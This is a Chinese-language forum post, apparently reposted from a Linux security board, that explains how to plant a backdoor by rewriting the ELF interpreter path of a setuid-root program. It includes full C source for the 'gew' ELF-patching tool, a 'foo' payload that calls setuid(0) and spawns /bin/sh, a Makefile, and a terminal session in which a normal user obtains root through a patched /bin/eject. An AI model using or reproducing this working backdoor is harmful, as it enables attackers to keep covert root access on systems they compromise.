用elf-write工具写interpreter后门--------------------------------------------------------------------------------
文摘出处:http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&Number=527296&page=0&view=collapsed&sb=5&o=31&fpart=all
grip2
用elf-write工具写interpreter后门(elf interpreter segment backdoor)
gript2@hotmail.com
所谓的interpreter后门就是通过更改elf文件的interpreter segment来进行后门代码触发执行的一种方法。
在下面我给出了这种技术的一个示范,同时给出了一个修改elf文件的程序(目前只有两个小功能)作为辅助工具。
总的来说这种技术难度不高,但是其有一些自己的特点,这些特点我在下面的示例中没有进行描述,但是你可以
通过自己的思考去发掘;P
1. 将我在后面提供的程序编译,得到一个小工具gew和一个示例程序foo
-----------------------------------
grip2@linux:~/tmp/elf-write> ls
. .. foo.c g-elf-write.c Makefile
grip2@linux:~/tmp/elf-write> make
gcc foo.c -o foo -static
gcc -O2 g-elf-write.c -o gew -Wall
grip2@linux:~/tmp/elf-write> ls
. .. foo foo.c g-elf-write.c gew Makefile
grip2@linux:~/tmp/elf-write> ls gew foo -l
-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 05:52 foo
-rwxr-xr-x 1 grip2 users 11755 2004-11-24 05:52 gew
2. 选择一个用来弹出interpreter的setuid程序(如果不放心,你可以先做备份)
-----------------------------------
linux:~/tmp/elf-write # find / -perm -4000 -print
...
/usr/bin/chsh
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpg
/usr/bin/at
/bin/eject
/bin/ping
/bin/ping6
/bin/su
/bin/mount
/bin/umount
...
linux:~/tmp/elf-write # ls -l /bin/eject
-rwsr-xr-x 1 root audio 22630 2004-04-06 09:19 /bin/eject
3使用gew工具修改选中的setuid程序的interpreter,使其指向我们的foo程序
-----------------------------------
linux:~/tmp/elf-write # ./gew
uid: 0 euid 0
gew - ELF write v0.0.1 written by grip2 <gript2@hotmail.com>
Usage: ./gew [-i new_interp][-e new_entry] elf-file
linux:~/tmp/elf-write # ./gew -i /home/grip2/tmp/elf-write/foo /bin/eject
uid: 0 euid 0
Better luck next file :-P <-- 这里说明我们指定的新interpreter路径超长了
(因为如果新的interpreter的长度超过现有的段长度,要
使其生效,就要调整目标文件的大小,而这是我们不愿看到
的,因此做了限制)
linux:~/tmp/elf-write # ./gew -i /home/grip2/foo /bin/eject
uid: 0 euid 0
linux:~/tmp/elf-write # strings /bin/eject|grep foo
/home/grip2/foo <-- OK,这次成功了
4 将foo复制到我们在上面给的新interpreter路径
-----------------------------------
linux:~/tmp/elf-write # su - grip2
grip2@linux:~> id
uid=716(grip2) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users)
grip2@linux:~> pwd
/home/grip2
grip2@linux:~> cp tmp/elf-write/foo .
grip2@linux:~> ll foo
-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 06:04 foo
5 以普通用户的身份运行我们修改的setuid程序,这里是eject,看看效果。
-----------------------------------
grip2@linux:~> eject
sh-2.05b# pwd
/home/grip2
sh-2.05b# id <-- 我们已经是root了
uid=0(root) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users)
sh-2.05b# exit
grip2@linux:~>
附注:有些情况你可能需要对你的foo进行一些处理,需要重新指定做为interpreter的foo的程序
入口点,这时你可以使用gew的第二个功能(如果你现在没遇到这种情况,就不需要看这里的内容了)
-----------------------------------
grip2@linux:~> objdump -D foo|grep main
804815c: e8 1f 01 00 00 call 8048280 <__libc_start_main>
...
08048244 <main>:
...
08048280 <__libc_start_main>:
804829f: 74 0f je 80482b0 <__libc_start_main+0x30>
80482d7: 75 f7 jne 80482d0 <__libc_start_main+0x50>
80482e7: 0f 85 bd 00 00 00 jne 80483aa <__libc_start_main+0x12a>
8048306: 0f 85 33 01 00 00 jne 804843f <__libc_start_main+0x1bf>
804832b: 77 5f ja 804838c <__libc_start_main+0x10c>
8048346: 77 28 ja 8048370 <__libc_start_main+0xf0>
804836e: 76 e0 jbe 8048350 <__libc_start_main+0xd0>
804837a: 75 0b jne 8048387 <__libc_start_main+0x107>
8048385: 76 a9 jbe 8048330 <__libc_start_main+0xb0>
804838a: 7f 0c jg 8048398 <__libc_start_main+0x118>
804839e: 0f 86 0d 01 00 00 jbe 80484b1 <__libc_start_main+0x231>
80483b4: 74 17 je 80483cd <__libc_start_main+0x14d>
80483ed: 74 17 je 8048406 <__libc_start_main+0x186>
804840e: 0f 85 93 00 00 00 jne 80484a7 <__libc_start_main+0x227>
8048419: 74 03 je 804841e <__libc_start_main+0x19e>
8048456: 74 21 je 8048479 <__libc_start_main+0x1f9>
8048477: 7f 0c jg 8048485 <__libc_start_main+0x205>
80484a2: e9 71 fe ff ff jmp 8048318 <__libc_start_main+0x98>
80484ac: e9 63 ff ff ff jmp 8048414 <__libc_start_main+0x194>
80484b8: eb c6 jmp 8048480 <__libc_start_main+0x200>
80502f3: e8 c8 0f 00 00 call 80512c0 <_nl_load_domain>
80504ae: e8 ad 0a 00 00 call 8050f60 <_nl_free_domain_conv>
80504bb: e8 70 0b 00 00 call 8051030 <_nl_init_domain_conv>
8050b2f: e8 0c 02 00 00 call 8050d40 <_nl_find_domain>
...
...
080a30a8 <_dl_main_searchlist>:
080a3100 <_nl_current_default_domain>:
080a53e0 <main_arena>:
080a5904 <_nl_loaded_domains>:
080a5d20 <_nl_domain_bindings>:
grip2@linux:~> ./gew -e 0x08048244 foo
uid: 716 euid 716
grip2@linux:~> readelf -l foo
Elf file type is EXEC (Executable file)
Entry point 0x8048244
There are 5 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x5aa78 0x5aa78 R E 0x1000
LOAD 0x05b000 0x080a3000 0x080a3000 0x01b7c 0x02e40 RW 0x1000
NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4
NOTE 0x0000f4 0x080480f4 0x080480f4 0x00018 0x00018 R 0x4
STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Section to Segment mapping:
Segment Sections...
00 .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres .gnu.linkonce.ro.__strtol_ul_rem_tab .gnu.linkonce.ro.__strtol_ul_max_tab __libc_atexit .gnu.linkonce.ro.__strtol_ull_rem_tab .gnu.linkonce.ro.__strtol_ull_max_tab .note.ABI-tag .note.SuSE
01 .data .eh_frame .ctors .dtors .jcr .got .bss __libc_freeres_ptrs
02 .note.ABI-tag
03 .note.SuSE
04
/*
* gew - ELF write v0.0.1
* written by grip2 <gript2@hotmail.com>
*/
#include <elf.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
void usage(char *argv[])
{
fprintf(stderr,
"gew - ELF write v0.0.1 written by grip2 <gript2@hotmail.com>\n");
fprintf(stderr, "Usage: %s [-i new_interp]"
"[-e new_entry] elf-file\n",
argv[0]);
exit(1);
}
int main(int argc, char *argv[])
{
int fd = -1;
Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
int i;
struct stat stat;
int ch;
char *pchar;
char opt_read = 1, opt_entry = 0, opt_interp = 0;
char filename[64];
char new_interp[256];
unsigned long new_entry = 0;
int euid = geteuid();
setuid(getuid());
setuid(euid);
printf("uid: %d euid %d\n", getuid(), geteuid());
while ((ch = getopt(argc, argv, "e:i:")) != -1) { /* get option */
switch (ch) {
case 'e':
new_entry = strtoul(optarg, &pchar, 16);
if (*pchar != '\0')
usage(argv);
opt_entry = 1;
opt_read = 0;
break;
case 'i':
new_interp[sizeof(new_interp)-1] = 0;
strncpy(new_interp, optarg, sizeof(new_interp));
if (new_interp[sizeof(new_interp)-1] != 0)
usage(argv);
opt_interp = 1;
opt_read = 0;
break;
case '?':
default:
break;
}
}
if (argv[optind] == NULL)
usage(argv);
strcpy(filename, argv[optind]);
fd = open(filename, O_RDWR);
if (fd == -1) {
perror(argv[1]);
goto err;
}
if (fstat(fd, &stat) == -1) {
perror("fstat");
goto err;
}
ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
perror("mmap ehdr");
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
fprintf(stderr, "File type not supported\n");
goto err;
}
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
i = 0;
if (opt_read || opt_interp) while (1) {
if (i == ehdr->e_phnum) {
fprintf(stderr, "Interpreter not found.\n");
if (opt_read)
break;
goto err;
}
if (phdr[i].p_type != PT_INTERP) {
i++;
continue;
}
if (opt_interp) {
if (phdr[i].p_filesz <= strlen(new_interp)) {
fprintf(stderr, "Better luck next file :-P\n");
goto err;
}
strncpy((void *) ehdr + phdr[i].p_offset,
new_interp, phdr[i].p_filesz);
} else if (opt_read) {
printf("current interpreter: %s\n",
(char *) ehdr + phdr[i].p_offset);
}
break;
}
if (opt_entry)
ehdr->e_entry = new_entry;
else if (opt_read)
printf("current entry: %p\n", (void *) ehdr->e_entry);
munmap(ehdr, stat.st_size);
close(fd);
return 0;
err:
if (ehdr)
munmap(ehdr, stat.st_size);
if (fd != -1)
close(fd);
return 1;
}
foo.c
int main()
{
setuid(0);
system("/bin/sh");
return 0;
}
Makefile
all: foo gew
gew: g-elf-write.c
gcc -O2 $< -o $@ -Wall
foo: foo.c
gcc $< -o $@ -static
clean:
rm *.o -rf
rm foo -rf
rm gew -rf